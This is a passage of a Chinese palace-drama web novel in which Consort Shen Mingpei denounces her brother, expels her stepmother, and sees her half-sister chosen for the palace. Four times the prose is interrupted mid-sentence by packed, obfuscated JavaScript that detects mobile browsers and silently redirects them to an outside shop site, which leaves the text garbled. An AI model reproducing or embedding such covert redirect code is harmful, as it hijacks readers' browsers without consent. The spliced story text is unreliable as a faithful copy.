皇帝赶到长春宫,又匆匆离开,脸色还不太好看,宫里有不少人都生了看热闹的心。第二天坤宁宫晨定,沈明珮一出现,就有人好奇地看向她。 沈明珮只回视一眼,那人就在她冷漠的眼睛下快速低下了头。 沈明珮收回目光,坐到自己座位上,一副生人勿近的模样。 这种态势持续了数天,才逐渐消解。而据沈明珮上报过了二十天后,赵德光突然登上长春宫的大门。 “贤妃娘娘,陛下有请。” 沈明珮整理了一下衣装,就在他的带领下直奔乾清宫。没有人阻拦,她一路畅通地进入皇帝批奏折的正殿。刚行过礼,皇帝就把一张密折递给她。 “你自己看看。” 沈明珮接过密折,上面是锦衣卫指挥佥事联合青州府锦衣卫千户的共同汇报。密折中写道,宋莲信中所说情况属实,且玉漱家人挨了廷杖、投入大牢后,她的父亲因年事已高、伤处治疗不及时,最终伤口感染病死。她的家人被放回家后,家中所有物件都被搬了个干干净净,真成了字面意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040053|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义上的家徒四壁,一家人生活得颇为艰难。玉漱逃跑后,他们又被投进大牢,这次倒是好吃好喝地养着,只等着知州找到玉漱,把他们拿出来做威胁人的筹码。 当沈明珮的视线划到底部时,她的双手也开始颤抖。 “妾恳请陛下依律查办沈明琮!如此恶行,绝不可为人效仿!”她跪在地上叩首。 殿内沉默半晌,方有皇帝的询问:“这是你的长兄,纵然你与你父亲的不睦天下皆知,也许你的长兄也未曾善待于你,但他若被降罪,你也会受影响,你就不怕牵连于你?” 沈明珮保持着叩首的姿势回答:“陛下,先有国,才有家。妾固然恼恨于被这等家人牵连,但若所有人都因为惧怕牵连隐瞒不报,又有谁来维护大齐的海晏河清呢?” “你说得是啊,若是所有人都畏惧牵连、互相隐瞒,我大齐岂不是要朝纲混乱,”皇帝感慨万千,“可惜,朕的臣子还没有一个宫妃看得明白。你起来吧。” 沈明珮心中撇嘴,动作却是极为标准。她很清楚,皇帝的这一关,她是过了。 “你回去吧,朕晚些时候去看你。”皇帝挥挥手,让她离开。 沈明珮行礼告退。 晚饭前,赵德光亲自送来赏赐,皇帝赏沈明珮百两金。晚饭后,皇帝驾临长春宫。 对此案的处置结果也出来了:沈明琮,剥夺官职,永不录用;玉漱,恢复自由身;玉漱家人,凡被扣留物品全部归还,并赔偿十两银子作为玉漱父亲的抚恤与丧葬费用。此外,两江总督沈思远教子不力,遭申饬,并罚俸半年。 圣旨下达后,各方纷纷接到消息。第二天再晨定时,不少人看向沈明珮的眼神都带着敬畏。 这可是连自己家人都敢检举的猛人啊。 晨定结束时,皇后将沈明珮留下,待所有人都离开后,劈头盖脸便问:“贤妃如此谋害家人,不孝不悌,不怕遭报应吗?” “皇后娘娘这是何意?是我让沈明琮逼人为妾的吗?是我让他炮制冤案的吗?做了恶事的人不怕遭报应,反而要怨恨、诅咒检举之人,天底下何时有了这等道理?”沈明珮坦坦荡荡地直视她的眼睛,“娘娘要怪,也只能怪您的表亲行事不端,恰巧让我抓了个正着。您若是不服判决,我也不惮于再请陛下为你我二人评评理:到底是官员守法、政局清明更重要,还是族内勾结、官员成党更重要!” 说完,她竟不等皇后再说话,就转过身,头也不回地离开坤宁宫,徒留皇后一人在殿内怒骂。 “好一个陛下的贤妃,可真是贤哪!” 不用沈明珮再给宋莲回信,圣旨直接下达至宋莲家中。得知自己不必再做神明琮的小妾,玉漱涕泗横流。 “民女谢陛下!谢贤妃娘娘!” 四皇子百日宴当天,长春宫中一片热闹。宫外,饭庄明玉楼开业,老板宋莲站在饭庄门前,宣布开业当日的优惠。 食客走进饭庄内,饭菜香气扑面而来,纷纷迫不及待地点餐。后厨内,主厨玉漱带着一群帮厨,大家都干劲满满。 只一天时间,明玉楼在京中一炮而红。 39. 交锋 临近新年,沈明珮收到了一封内容气急败坏的信。 “娘娘,这是谁的信?”白菊好奇地凑过来看,扫了几眼就皱起眉毛,“这什么人?怎么这么,这么……” 信上骂得过于难听,观点又极为迂腐,她想不出一个合适的词来形容写信人。 “是啊,谁能想到当年名满京城的温润公子如今居然变得如此面目可憎。”沈明珮说着将信收起来。 白菊在一旁看得惊讶:“这种信娘娘也留着吗?” “留着,”沈明珮回答,“万一有用呢?” 马上就是新的一年,沈思远的无能狂怒未能在沈明珮心中留下丝毫痕迹。除夕家宴、正旦大宴接踵而至,紧随其后的就是大年初二外命妇拜见内命妇。 刘芸当然也在入宫之列。 去岁因为彼时还是宸嫔的宸妃过了正旦大宴就要生产,大年初二的外命妇觐见自然而然地取消。以至于这实际上还是自刘芸进京以来沈明珮与她的第二次见面。 “阿娘!”沈明珮算着快到时间了就在宫门外等她,一见到她的身影就小跑过去,挽住她的手。 远远望去,就是两个身着大礼服的女子挽着手臂走进长春宫。 一进正殿,沈明珮松开挽着刘芸胳膊的手臂,跑到她面前,转了一圈。 “阿娘,女儿穿这身,可好看否?” 不论行止神态,皆像穿上新衣服展示给母亲看的小女孩。 “我儿甚美。”刘芸笑得很慈祥。 沈明珮也笑了,她伸手扶住因为旋转晃动的挑牌,而后拉着刘芸坐在早已摆好的并未设主从位的座位上。 “阿娘比上次见面时精神多了。”她仔细端详刘芸半晌,笑着说。 确实如此,与刚从沈府离开时想必,刘芸胖了不少,穿在宜人大礼服之下,不再有沉重的大礼服压垮瘦小的人的既视感。她的面色也不再发黄憔悴,而是面带红润,再无任何营养不良的迹象。 “果然离开了沈家那个魔窟,往后都是好日子。可惜今日我的太医不当值,不然我一定要把他叫来再给您瞧瞧。” 刘芸欣慰地看着女儿神采飞扬地模样,温声道:“自从搬进伯府,我的身体确实养好了很多,早年落下的毛病也都已经请人诊治过,现在已经不需要再找医师看诊了。” “那就好。”沈明珮说着,同刘芸聊起勇毅伯府中事。 “府内也一切都好,只要你在宫里好好的,明琛在吉林不出岔子,就没人能把我和明玥怎么样。只是明玥……”刘芸说到小女儿,面露无奈,“她的学业有些问题。经史、诗词、琴棋书画都不擅长,算术、西文、工巧之术却是极有天赋。我倒是纠正过她,奈何纠正不过来。” “那就不纠正嘛,”沈明珮评论,“我和她哥哥在前头拼命挣前程,不也是为了她可以做自己想做的事吗?我想阿娘也不是那种非要把女儿嫁出去才算人生圆满的母亲吧?” 刘芸思索片刻,缓缓点头。 “也是。” “阿娘能想明白就好。倒是我那义妹开的饭庄,经营得如何?” 说到明玉楼,刘芸可有话说了:“宋姑娘请的那位主厨不愧是原来尚食局的女官,厨艺确实是顶顶好,开业第一天就打出了名声。明玉楼除了主厨外,其他的副厨、厨役、雇工也都是女子,不少也是无家可归之后被招进来的,干活都很认真。主厨愿意教,她们也愿意学,整体气氛很好。现在每天到了饭点,店里都是满客。” 沈明珮满意地点点头,又问:“她们的薪水怎么样?” “按照男性厨师、雇工的薪水,比各个饭庄给的薪水多一成。” 时下同为雇工,男工与女工的薪水也是不同的。按男工的标准为女工发薪水,还比男工多一成,在京城地界确实是绝无仅有。只要明玉楼不过分压榨女工,这些女工应该不会主动跳槽。 沈明珮心下满意,正要拉着刘芸再说着别的,白芷走到她们身旁。 “娘娘,两江总督夫人求见。” 沈明珮一时没反应过来。 “你说谁?” 正旦大宴她确实看见了太太的身影,但是这太太大年初二还要求见她,实在是出乎她的意料。 可白芷的复述又证明她没有听错。 “让她进来吧。”管她要做什么,兵来将挡水来土掩便是。 太太随白芷进来时,看到的便是沈明珮与刘芸悠闲地坐在椅子上,还有一把椅子远远地放着,与二人的座位呈三角形,正是给她坐的。 见两人毫无表示,太太气不打一处来:“怎么,当了宫妃的生母,就不需要对主母行礼了吗?” 沈明珮凉凉地瞥了她一眼,寒声道:“如果太太今日前来只是为了摆谱,那便趁早滚出本宫的长春宫。” 太太吸了口气,狠狠憋住,过了一会儿才缓缓吐出来。她走过去,一屁股坐在空着的座位上。 “这当了娘娘就是不一样啊,真威风。” 沈明珮和刘芸都不理她,她独角戏唱不下去,尴尬中以拳掩嘴,象征性地轻咳两下。 “我今日前来,确实有事请娘娘帮忙,”她道明来意,“请娘娘将明瑾安排进国子监。” 殿内的空气霎时便凝固了。 半晌,沈明珮才说:“你说什么?” 沈明瑾,她礼法上的三哥,至今只勉强考过了秀才。此人本也曾有神童之名,可惜在外人的吹捧与家人的娇惯中迷失了自我,最终不仅泯然众人,还染上了一堆坏习惯。虽说有父母看着,一掷千金这种事做不出来,但溜鸡斗狗从未断过,已成了实打实的纨绔子弟。现在,太太居然要沈明珮把这样一个人送进国子监。 沈明珮只觉得她是疯了。 “明瑾在读书上确实差了明琮不少,但他本也聪明,只要能在国子监读书,有老师看管着,考个举人总没问题。他大哥已经不得入仕,他若能考上个举人,至少在封恩荫官时会好看些。” 太太以为沈明珮是没听明白,还在介绍她提出此要求的原因,被沈明珮打断。 “二姐乃武威侯世子夫人,三姐乃平国公世子夫人,太太的两个亲生女儿都嫁入高门,太太不找她们,找本宫做什么?” “你大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050444|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥也不是被她们拉下马的啊!”太太回道,“你害你大哥被夺官,就要还沈家一个官员,有什么问题吗?” 就连刘芸也被太太的理所应当震惊到了。 “总督夫妇若是对陛下裁决不满,大可以上书陛下以求改变,难为明珮算什么?” “放肆,这里有你说话的地方吗?”太太刚说完,就挨上沈明珮的迎头棒喝。 “我看你才是放肆!长春宫不是你撒野的地方!寒露,白芷,把她给我丢出去!” 寒露和白芷立刻一左一右将太太架起来,就要往外拖。 “等等!”太太见势不妙,大喊,“娘娘也是沈家人,沈家不好对您有什么好处?明琮被罢官,已经让娘娘的名声有损,若明瑾能得重用,对娘娘不也是助力?” 沈明珮不为所动,只挥挥手,让两人继续把太太拖走。 等太太被拖出长春宫大门,她才对刘芸抱怨:“真是够不要脸的,他们沈家发达的时候咱们也没过过什么好日子啊,这会儿反倒来让我干这种一旦被人抓出来就绝对得不到好的事了。” 国子监内各地优秀举子云集,进入本朝之后哪怕是关系户也得先经考试,合格才能入学。沈明瑾连考上秀才都是当地学官看在沈思远的份上放了他一马,这样的人怎么可能有进入国子监读书的能力? 沈明珮越想越生气,摁着太阳穴把白芷叫来。 “刚刚总督夫人说什么你都听到了吧?去坤宁宫,把她说的话原封不动地复述给皇后。再问问皇后,可知晓她姑姑姑父的谋划,以及对陛下判决的不满?若是皇后娘娘觉得这不算什么,我也不介意再问问陛下,总督夫人的要求是否正当。” 白芷立刻前往坤宁宫,没多久就回来了。 当天下午,皇后公开申饬两江总督夫人,不尊陛下裁决,不守举业法度,命其一年内不得参加宫中宴会。 这个惩罚对于本就长居金陵的太太而言可以说是不痛不痒,但还是让她颜面无光。她没再留在京城,连夜收拾行礼,大年初三就坐着马车带着一堆东西返回金陵。 马车一路疾行,等到了金陵城时,她已在一路奔波下分外憔悴。好在沈总督早就派仆役在城门外守着,一看到挂着两江总督府徽记的马车就立刻迎上去,将行礼收拾到他们带来的拉货的车上,又给太太递过去一碗热汤。 热汤下肚,太太觉得自己终于活过来了。 回到总督府,沈总督早就等在正堂中,见太太人到了,立刻屏退下人。 “怎么样?” “全按您的话说的,她没答应,”太太直摇头,“不仅没答应,还让手下宫人把我丢出长春宫。等我走了,还派人通报皇后娘娘,害我被娘娘申饬,还在一年之内不能参加一切宫宴。老爷,我这一趟可是亏惨了。” “委屈夫人了,”沈总督只干巴巴说了一句就又把话题绕回到之前,“如此看来,我们必须要想办法分薄这逆女的地位。五娘已经及笄了吧?” “是的,老爷的意思是?”太太似有所感,揣着答案问沈总督。 “下个月的选秀,让她去吧。” 40. 选秀 金陵已经花红柳绿时,京城的柳树才刚刚抽出新芽。载着来自大齐各地的秀女的马车驶入京城,将秀女送进储秀宫。 经过初筛后,这些秀女要在储秀宫内训练一个月的礼仪。 长春宫内,沈明珮正在看四皇子。已经八个月大的他早已学会翻和坐,现在正在练习爬。很显然他还不够熟练,在窄小的婴儿床上爬得颤颤巍巍。 在他又一次趴倒后,沈明珮笑出声来。 “白菊,把书拿来。”见他有要瘪嘴开哭的迹象,沈明珮让奶娘把他抱起来,自己接过白菊拿来的书,举在他眼前左摇右晃。 四皇子伸出手够这本书,挥舞几下后终于碰到,又笑了。 沈明珮把书还给白菊。 “你再陪他玩玩,我先走了。” 白菊接过书,继续拿着在四皇子眼前晃,沈明珮离开皇子屋,欲回到自己的寝房,不想在门口看见已经站了一会儿的白芷。 “怎么了?”她问。 “大概一刻钟前,皇后娘娘派人来给娘娘一摞文书,是关于今次秀女的。”白芷回答。 这摞文书很显眼,厚厚的一堆,放在正屋桌案上。 “选秀由皇后全权负责,她让人给我送这些做什么?”沈明珮说着坐到桌旁,拿起一摞文书翻开,“还是秀女身份,这种东西给我有什么用?” “回娘娘,”白芷紧紧跟在沈明珮身旁,恭声解释,“坤宁宫的宫女说,皇后娘娘给各宫主位都送了这些,希望过几日殿选时都能认清人,不要闹笑话。” 沈明珮闻言,直接笑出声来。 “陛下和皇后亲自筛选,我们这些妃嫔能闹出什么笑话。” 笑死,有她们说话的份吗? “那,娘娘可需要奴婢把文书挪走?”白芷请示。 “不必,”沈明珮就着翻开的那一页就开始看,“送都送来了,看看也无妨。” 她本把这当成打发时间的方式,结果翻到后半一册某一页时,原本上扬的嘴角直接耷拉下来。 “娘娘怎么了?”寒露从宫外回来,一进殿就看见沈明珮极度不爽的脸。 “你过来看看。”沈明珮把这侧文书摊开摆在桌上。 寒露走过去,低头一看,亦是大惊失色。 “沈总督疯了吗?” “他可不就是疯了吗?”沈明珮冷笑,“既然以为再送个人进来就能复刻我的道路、分薄我的地位,那我也不介意让她守活寡!” 沈明珮震怒,长春宫上下无人敢做声。半晌,她抓起茶杯,狠狠灌了一口冷茶。 “白芷,宋英,你们两个把这些文书,当众恭敬地送回坤宁宫,就说本宫蒙皇后娘娘教诲,定不会让选秀出现丝毫意外。” “娘娘……”白芷、宋英领命而去,寒露担忧地凑过来。 “我没事,”沈明珮又喝了口冷茶,“沈思远想搞一个我的翻版,也得看陛下接不接他抛出去的媚眼。” 她更多的是对他十数年如一日的各种小动作感到恶心。 坤宁宫内,皇后的心情倒是不错。 “贤妃居然也有控制不住怒火的时候,真是难得。” 几天后,秀女面圣当日,沈明珮一身大衫霞帔,头顶七翟冠,赫然是全副武装。步辇抬到储秀宫门口,正撞上宸妃,一样是一身妃嫔大礼服。 两人对视,不约而同地露出微笑。 自从在御花园遭遇刺杀后,皇帝便不太愿意踏足其中,也把选秀的面圣地点改在储秀宫正殿。秀女们早早从大通铺上起来,换上统一的服装,三人一排站成长列。沈明珮与宸妃走过,她们纷纷低下头,只见正红的大衫从她们的视线里飘过。 有人悄悄抬头,看向她们的背影,眼中划过羡慕。 两人走到正殿上时,宁妃与顺嫔已经坐好了,皆穿普通宫装,见到盛装的二人,也回忆起自己第一次旁观选秀。 “二位妹妹如此盛装,倒是让我想起了三年前,”宁妃迎上前来,引二人入座,“不知三年后这里又会出现哪些妹妹。” “那妹妹还是更想知道今日会选出哪些新妹妹进宫。”宸妃微笑着坐到主位右侧下首,沈明珮并未表现出不满,坐到宁妃左侧。 四个主位全部落座,到了辰正,帝后相携而来。皇后亦是一身明黄大衫,头戴双凤翊龙冠,皇帝则是明黄十二团龙衮服,属常服之列。 三妃一嫔行礼后,帝后二人落座,宁妃张罗着准备开始选秀。 “陛下,时辰已到,不若我们便开始吧?” “开始。”帝王一声令下,秀女队伍便在教习嬷嬷的引导下缓缓向前移动。 秀女以三人为一组,列成一横排走到储秀宫正殿台阶前站定,从左到右一个个走进殿内自我介绍。 第一个秀女被皇帝赐了花,退场之后,便轮到三人中间的秀女。 “传宁寿大长公主之孙丁清婉觐见——” 在司礼监太监的高喊下,丁清婉走进储秀宫正殿。 “臣女丁清婉,见过陛下,见过娘娘。” 宁寿大长公主乃先帝长姐,且先帝乃宁寿大长公主生母、时任贵妃收养长大,故先帝一朝,宁寿大长公主极其风光。但宁寿大长公主支持的先太子早逝,故而新帝登极后她已风光不再。 不过当今皇帝并不苛待宗室,她理应过得不差,奈何荣嘉三年末金人入侵时,她担任辽东都指挥同知的长子战死。小儿子不成器,孙辈又都还小,为保家族荣光,大长公主决定把实际上比皇帝低一辈的孙女送进宫。 “起来吧。”这样一个秀女,是必然要进宫的,皇帝没浪费时间,直接赐了牌子。 “谢陛下,谢娘娘。”丁清婉接过牌子,在司礼监太监的指引下站到储秀宫院中已划好的专门供中选秀女站立的地方。 时间尚早,若想下去休息,她还有的等。 这一组已经有一个进宫,剩下那一个皇帝只简单看了看,就赐了花。被赐了花,秀女也并不难过,坦然地离开。 不入宫未必是坏事,有闯进选秀最后一轮的成绩在,她已经能有个足够好的名声。 此后这样过去半个时辰,皇帝方点了一人留下,是四川右布政使之女。 此人刚刚退下,殿内众人就听到司礼监太监高喊:“传两江总督之女沈明珂觐见——” 然后众人便看见一个与沈明珮有三分相似的少女走进来。 “臣女见过陛下,见过娘娘。”沈明珂恭恭敬敬地行礼,奈何皇帝的注意力根本不在她身上。 “贤妃,这是你妹妹?”皇帝语气中带了点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057270|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不悦。 并不是所有人都有娥皇女英的癖好,姐姐已经进宫,还要送妹妹进来,在皇帝看来是把他当成耽于美色的昏君。 “是的,”沈明珮说着,面露苦笑,“但妾身也是在前两天皇后娘娘给各宫送了本次选秀秀女身份的文书后才知晓此事。也不知道妾的父母是怎么想的。” “那爱妃觉得朕当不当把此女留下?”皇帝问她。 沈明珮立刻回答:“陛下,也许这话妾身说出来会显得善妒,但沈家不需要第二个进宫的女儿。说句不好听的,沈家不是那种落魄到需要卖女儿的人家,父亲他也不是唐尧秦穆,何必要先后送两个女儿入宫?” 沈明珂还保持着行礼的姿势,此刻已经快摔倒在地。 皇帝立刻命令司礼监太监:“听到贤妃的话了吧?赐花。” “陛下,请您等等,”眼见着沈明珂要这么被淘汰,皇后出言阻拦,“您忘了,当初贤妃是以前屯指挥佥事之妹的身份入宫的,严格意义上来说,沈总督并不算连着送两个女儿进宫。” 沈明珮看向皇后,只见她一副胸有成竹之相,察觉到沈明珮的眼神时还能冲她微笑,便知她不仅早与沈总督夫妻通气,还铁了心要让沈明珂进宫。 “这有什么区别?”皇帝气笑了。 “当然有区别。沈五娘进宫是遵从父命,倒是贤妃妹妹当年进宫才是违逆父命、擅自行动,怎么能让遵从父命之人给违逆父命之人让路呢?” 沈明珂听到皇后为她说话,停下脚步,期待地回头看向正殿。 皇帝的脸色已经有些难看了。 沈明珮见状,直接问沈明珂:“五娘,我们年岁有差距,在家中见面也并不多,说来这还是我们姐妹第一次好好对话。我只问你一件事,你真的想进宫吗?” 一个简单的问题,沈明珂却磕绊了半天,没答上来。 “你尽管勇敢地说,只要你说不想,我这就求陛下为你赐婚。” 沈明珂眼里渗出泪光,但她最终还是向沈明珮行了个恭敬的礼:“谢贤妃娘娘好意,但臣女倾慕陛下已久,只求能入宫伴驾。” 皇后在一旁露出满意的笑容。 “既然如此,那就赐牌子吧。”皇帝黑着脸下令。 此后秀女竟无一人入选,直到一个梳着小二把头的秀女进殿。甚至没等她自我介绍,皇帝直接就赐了牌子。 大齐灭攻下金上京后,有数支女真部落投降,完全接受大齐的统治。这几支部落首领获官后,在东北军的监督下,确实让昔日的女真平民安心接受统治,按照大齐的方式劳作、生活。本次选秀,昔日的叶赫部代表所有女真降官送女进京参选,皇帝当然要把人留下。 叶赫那拉氏以后,秀女也不剩几个。皇帝意兴阑珊地一组组淘汰,直到最后一组,最后一人让他眼前一亮。 “臣女见过陛下,见过娘娘。”女子声音清脆,如同黄鹂。 此女只是皇商之女,但相貌实在美丽,宸妃与顺嫔已经微微皱眉。 皇后也觉得这份美貌实在刺眼,抢在皇帝前面说:“皇商的身份实在是低了些,不如就……” “赐牌子。”皇帝打断她。 皇商之女领了牌子走到入选的秀女中,至此本次选秀正式结束,共有五人进宫。 41. 新人 沈明珂出宫后,登上一辆马车。太监驾着马车把她送到一间宅子门口,她走下车,敲开门。沈明琮打开门,将她带进院中。 一进正堂,沈明琮就问:“怎么样,入选了吗?” “入选了,只是……”沈明珂斟酌着把殿选时发生的事复述了一遍。 听到一半时,沈明琮愤怒地捶了下桌子。 “果真是狼子野心,”沈明珂说完,沈明琮愤怒不已,“父亲仁慈,让他们活下来,结果养出来两条毒蛇!” 沈明珂垂着头,不敢说话。 “你做得很好,”沈明琮骂完,又转向沈明珂,“赐婚的人家再好,也比不过在宫里当娘娘。只要你入宫之后听家里的,你姨娘就能平安。” 自从沈明琮被罢官且永不复用后,他便恨透了沈明珮。这样被赶出官场的人,连最差的书院都不肯用,他只能呆在家中,教养子女、打理家族庶务。正因为很闲,送沈明珂进京的任务才落到他头上。 “兄长,我此番虽得以入宫,但恐怕也已遭了陛下厌恶。”沈明珂忧心忡忡。 “进都进去了,还怕没有得陛下喜欢的方法吗?”沈明琮不以为然,“有我们和皇后娘娘在,你不会一直坐冷板凳的。” 沈明珂心有疑虑,但也只得接受。 乾清宫外,皇后拎着食盒走到宫门前。守门的小太监立刻放行,她一路畅通无阻走进正殿。 “皇后怎么来了?”皇帝立刻放下笔。 皇后将食盒摆在皇帝处理政务的桌上,一低头就看见了桌上的文书——恰巧是对此次五位中选秀女的安排。 “真是巧了,”她笑着说,“妾身此番也是想同陛下说说各位妹妹的封号。” 皇帝将桌上的纸推给她,让她自己看。她接过去,看到最底下,面露惊讶。 “陛下,沈家五娘怎么只得了选侍?” 选侍,宫中品级最低的封号,只有九品,一般只有宫人被幸后才会得此封号。皇帝连在潜邸时伺候的宫人都封了宝林,目前宫里是没有选侍的。 “她自己说的仰慕朕已久,只求入宫,既然如此,朕给她什么封号,她不都应该欢喜地接受吗?”说起沈明珂,皇帝现在依旧是一肚子火。 “陛下,沈五娘毕竟是两江总督之女,至少要给一个说得过去的封号,”皇后劝道,“后宫与前朝息息相关,妃嫔的待遇也关系着官员的脸面,这个选侍的封号要是给出去,怕是朝臣会以为您厌弃了沈大人。” 皇帝很想直接说自己确实厌恶沈思远,但他还是忍住了,反问皇后:“那皇后以为该给沈五娘什么封号?” “妾身以为,不若仿照贤妃当年,也给个美人吧。” “行,”皇帝同意,“说来这沈美人也算是你的表妹,朕看你也挺关心她的,就让她住进坤宁宫吧。” 皇后震惊。坤宁宫与其他宫不同,虽无明文规定,但除皇后外向来不住其他妃嫔,可皇帝居然直接打破了惯例!这一手是她绝对没有想到的。 但皇帝已退让在先,她便也没有了拒绝的余地,只得接受这个结果。 至于其他的倒是没有什么问题:宁寿大长公主孙女获封淑嫔,居永寿宫主位;叶赫那拉氏族女获封清婕妤,想到金先前短暂用过的年号,皇后实在觉得讽刺;四川右布政使之女获封才人,皇商之女获封宝林,都是正常的操作。 皇后请辞回宫后不久,五道圣旨就分别发到了五位中选秀女所在之处。 送走传旨天使后,沈明琮一脸沉重地回到家中。沈明珂拿着圣旨不知所措地站在院子里,见到沈明琮,茫然地看过去。 沈明琮心中叹气,面上镇定,收起沉重的神色,又恢复了作为长兄的威风:“你在宫中听皇后娘娘的话。我会留在北京,过些时日你大嫂也会过来,你要是有解决不了的问题就与我们通信。” 他是不打算再回家里做闲人了,不如留在先前任礼部主事时在京城买的房子里,做与宫里妃子的联络人加监视者。 沈明珂沉默地点点头。 “你选秀表现得不错,我已经给爹娘去信,你姨娘会拿到这个月的解药。” 听沈明琮提到姨娘,沈明珂眼中终于有些光亮。 自婕妤到宝林,中选的四人皆以一顶小轿抬入宫中。但淑嫔不是。她是在第二天身着大礼服行册封礼后才入宫。 当天晚上,皇帝照例歇在永寿宫。 新人请安第一天,一大早,沈明珮一睁开眼,就让寒露帮自己洗漱装扮。她选了一身普通的宫装常服,头上戴上一整套金镶白玉头面,簪子插得满满当当。 她接过白菊端上来的点心,就着茶吃了两块,而后对寒露说:“走吧。” “贤妃妹妹今天来得真早啊!”一踏进坤宁宫,沈明珮就听到宁妃的招呼。 自从揭穿宁妃后,两人私下已无来往。但正如宁妃所言,沈明珮来得实在太早了些,不仅新人们一个都没到,就连老人也只来了一个方才人。 “姐姐不也一样来得很早?”不管私底下有什么龃龉,在面上两人还是维持着大体的友好,“想来同妹妹一样,也很好奇这些新进宫的妹妹吧?” “贤妃妹妹所言极是。”宁妃笑着点头,与沈明珮共同坐在主位左侧下方。 两人落座没多久,新入宫的江宝林到了。她见自己不是第一个到的,面露尴尬,忙给已经落座的三人行礼。 “见过两位娘娘,见过才人姐姐,妾不知时间来迟了,还望姐姐们见谅。” “无妨,”宁妃温声说,“是我们来早了。妹妹快落座吧。” 沈明珮不语,只看着宁妃一副温柔姐姐的模样,心里有点想笑。 江宝林站起身,直接坐到最后的座位上。 等赵才人到场后,新封的徐才人才来,绷着身体一言不发,看到只剩了一个最靠后的才人座位后,皱着眉头勉强坐下。大抵对这个排位并不服气。 徐才人落座后,沈明珂居然出乎意料地紧随其后,早早便到场。进了正殿,她的双眼首先找上沈明珮。 “见过四姐姐。”她向沈明珮行礼。 沈明珮没有接下这声招呼,只是冷淡地回应:“既然进了宫,那就都是一样的姐妹,没有分别。沈美人以后只叫本宫姐姐就好,莫要再叫四姐姐了。” 沈明珂似乎很受伤,面颊通红,嘴角嗫嚅了两下,才说:“妾知道了,谢娘娘教诲。” 宁妃突然凑过来,一脸看热闹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069166|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子,在沈明珮耳边低语。 “你这个妹妹倒是有意思,跟你完全不一样啊。”说着,竟然以沈明珂的语气将她的话复述了一遍。 沈明珮立刻将身体撤远,嫌弃地瞥了她一眼。宁妃言笑晏晏地坐回去。 沈明珂后,清婕妤也是提早到场,成为第二位到场的婕妤。她的汉话说得还很生硬,只恭敬地向沈明珮和宁妃行了个礼,便坐下了。 如此,除淑嫔外的四个新晋宫妃就都在沈明珮眼前过一遍了。 “嘿,你觉得这届新人怎么样?”坤宁宫此刻也只有两个主位,宁妃一个人憋得难受,又凑到沈明珮旁边。 沈明珮简直没眼看,这样的性格,居然能连着两次对孕妇下手,还在失手后没有被揪出来?是她疯了还是皇帝傻了? “浓缩的是精华。”她低声回答。 宁妃闻言,笑得更开心了。近两年她已明显察觉到皇帝对她的宠爱不及当初,眼见能有乐子看,倒是填补了她的无聊。 卡在所有散号妃嫔到齐后,顺嫔匆匆赶到现场,一如既往地默默坐在主位妃嫔中最靠后的位置上。 在场众人又等了片刻,淑嫔终于赶在宸妃之前出现。初次晨定,她竟然直接穿了嫔位礼服中的鞠衣,头上亦是插得满满当当。她看也没看早已落座的散号妃嫔一眼,昂首挺胸走到自己的座位上坐好。 淑嫔刚坐下,宸妃便来了。她看了一圈已经坐得满满当当的大殿,露出不好意思的笑容。 “没想到我竟然是最后一个到的。” 说着,她走到仅剩的主位右手下首的椅子旁落座。 除了皇后外,人已经到齐,殿内却安静下来。众人安静地等皇后出现,皇后偏偏在她们等了一刻钟后还未出现。新晋宫妃中已有数人开始有些不耐烦。 沈明珂微微低下头,抓紧了裙子。 在空气中弥漫着淡淡的焦躁后,终于有人高喊:“皇后娘娘到——” 喊话之人是坤宁宫的大太监,随着这声高喊,皇后出现在众人的视线中。在场众人立刻行礼问安。 “起来吧。”皇后状似随意地把人喊起来,而后坐到主位上。 但仔细看去,皇后的装扮可绝对称不上随意,官绿立领对襟妆花龙上衣、正红妆花龙马面,再配上整套金镶宝山海云龙头面,完全是常服中最隆重的一档。对着新晋宫妃,皇后将三年前对沈明珮等人说的话又拿出来说了一遍,而后带人拜见太后。 